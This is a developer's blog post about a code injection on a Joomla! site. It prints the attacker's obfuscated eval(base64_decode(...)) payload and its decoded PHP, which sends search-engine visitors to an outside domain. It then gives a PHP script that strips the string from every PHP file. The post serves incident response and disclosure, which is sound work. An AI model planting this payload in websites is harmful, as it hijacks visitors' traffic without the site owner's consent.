So, whoever came up with the code injection I ran across this morning - kudos.
kiveo Portfolio
kiveo Services
Web Applications
your business can have the custom programming required to run your business as efficiently as possible
Website Design
your business, no matter the size, deserves a website you are proud of, that does exactly what you need
Agency Solutions
your creative agency shouldn't have to turn away work because you don't have developers on staff, or your developers are busy.
User Support
your customers deserve to have access to excellent technical support and customer service even when you're busy.
Joomla! osa.pl code injection
So, whoever came up with the code injection I ran across this morning - kudos. You and I have crossed paths before and you have become more sophisticated. Screw you, so have I...well, after I panicked and tried to clean up your mess by hand and called in reinforcements to write the script below. Thank-you, Miles.
Basically, what had happened was someone found a hole in a Joomla! installation that I manage for an old customer/friend. The hole allowed them to drop this nasty bit of code behind the opening PHP tag in every (important Joomla!) file.
eval(base64_decode("DQplcnJvcl9yZXBvcnRpbmcoMCk7DQokcWF6cGxtPWhlYWRlcnNfc2VudCgpOw0KaWYgKCEkcWF6cGxtKXsNCiRyZWZlcmVyPSRfU0VSVkVSWydIVFRQX1JFRkVSRVInXTsNCiR1YWc9JF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddOw0KaWYgKCR1YWcpIHsNCmlmIChzdHJpc3RyKCRyZWZlcmVyLCJ5YWhvbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJpbmciKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJyYW1ibGVyIikgb3Igc3RyaXN0cigkcmVmZXJlciwiZ29nbyIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImxpdmUuY29tIilvciBzdHJpc3RyKCRyZWZlcmVyLCJhcG9ydCIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsIm5pZ21hIikgb3Igc3RyaXN0cigkcmVmZXJlciwid2ViYWx0YSIpIG9yIHN0cmlzdHIoJHJlZmVyZXIsImJlZ3VuLnJ1Iikgb3Igc3RyaXN0cigkcmVmZXJlciwic3R1bWJsZXVwb24uY29tIikgb3Igc3RyaXN0cigkcmVmZXJlciwiYml0Lmx5Iikgb3Igc3RyaXN0cigkcmVmZXJlciwidGlueXVybC5jb20iKSBvciBwcmVnX21hdGNoKCIveWFuZGV4XC5ydVwveWFuZHNlYXJjaFw/KC4qPylcJmxyXD0vIiwkcmVmZXJlcikgb3IgcHJlZ19tYXRjaCAoIi9nb29nbGVcLiguKj8pXC91cmwvIiwkcmVmZXJlcikgb3Igc3RyaXN0cigkcmVmZXJlciwibXlzcGFjZS5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJmYWNlYm9vay5jb20iKSBvciBzdHJpc3RyKCRyZWZlcmVyLCJhb2wuY29tIikpIHsNCmlmICghc3RyaXN0cigkcmVmZXJlciwiY2FjaGUiKSBvciAhc3RyaXN0cigkcmVmZXJlciwiaW51cmwiKSl7DQpoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vaGFwcHluZXd5ZWFyLm9zYS5wbC8iKTsNCmV4aXQoKTsNCn0NCn0NCn0NCn0="));
For those of us who don't read base64 encoded text on a regular basis, here's what's happening when that code is eval'd by PHP:
error_reporting(0);
$qazplm=headers_sent();
if (!$qazplm){
$referer=$_SERVER['HTTP_REFERER'];
$uag=$_SERVER['HTTP_USER_AGENT'];
if ($uag) {
if (stristr($referer,"yahoo") or stristr($referer,"bing") or stristr($referer,"rambler") or stristr($referer,"gogo") or stristr($referer,"live.com")or stristr($referer,"aport") or stristr($referer,"nigma") or stristr($referer,"webalta") or stristr($referer,"begun.ru") or stristr($referer,"stumbleupon.com") or stristr($referer,"bit.ly") or stristr($referer,"tinyurl.com") or preg_match("/yandex\.ru\/yandsearch\?(.*?)\&lr\=/",$referer) or preg_match ("/google\.(.*?)\/url/",$referer) or stristr($referer,"myspace.com") or stristr($referer,"facebook.com") or stristr($referer,"aol.com")) {
if (!stristr($referer,"cache") or !stristr($referer,"inurl")){
header("Location: http://happynewyear.osa.pl/");
exit();
}
}
}
}
If a visitor comes to your site from any of the listed domains (for those of you who don't read PHP, it's basically interrupting the user coming to your site after they search for it on many of the major search engines), they will be redirected to http://happynewyear.osa.pl/. Again - screw this guy's smugness.
It's specifically a Joomla! hack. There are some files on that server that have nothing to do with Joomla! that were left in-tact. I copied the top bit of code (the one that begins with eval(base64_decode...) and dropped it into the script below where it says 'EVIL_CODE_HERE' and saved it as a file in the document root (highest level folder) for the domain as osapl_injection_removal.php. I then visited the page I'd saved (eg: http://somedomain.com/osapl_injection_removal.php) in my browser (if you have access to the command line I'm sure you could just run php osapl_injection_removal.php from there, but I didn't on this server) and poof! it was gone. Forego the temptation of replacing the offending code with anything. Joomla!'s authors have a horrible habit of including opening php tags (<?php) in their comments and I've learned that even putting commented out code (/*cleaned*/) in the replace function will cause Joomla! to go a bit haywire.
// Sample function to recursively return all files within a directory.
// http://www.pgregg.com/projects/php/code/recursive_readdir.phps
function listdir($start_dir='.') {
$files = array();
if (is_dir($start_dir)) {
$fh = opendir($start_dir);
while (($file = readdir($fh)) !== false) {
# loop through the files, skipping . and .., and recursing if necessary
if (strcmp($file, '.')==0 || strcmp($file, '..')==0) continue;
$filepath = $start_dir . '/' . $file;
if ( is_dir($filepath) )
$files = array_merge($files, listdir($filepath));
else {
//add only php files
if(substr($file,-4)==".php") array_push($files, $filepath);
}
}
closedir($fh);
} else {
# false if the function was called with an invalid non-directory argument
$files = false;
}
return $files;
}
// Functionality built on Paul Gregg's above function
$files = listdir('.');
echo print_r($files,true);
$str_to_replace='EVIL_CODE_HERE';
foreach($files as $file) {
// break it up some or comment out the next three lines and uncomment the last.
$contents = file_get_contents($file); // get contents
$updated_contents = str_replace($str_to_replace,'',$contents); // do replace
file_put_contents($file,$updated_contents);
//file_put_contents($file,str_replace($str_to_replace,"",file_get_contents($file))); // all as one line(more memory efficent)
}
For those of you who are a bit more security minded and want to make sure that the code works, interrupt the execution after the first file by putting a die(); statement in and checking the first file in the array returned on screen.
USE WITH EXTREME CARE. I give this to the world with no warranty or fitness of purpose, only that I hope it will benefit someone else who has been infected...err, affected by the fine folks at osa.pl.
Again, thank-you Miles, for rescuing me from my panic.
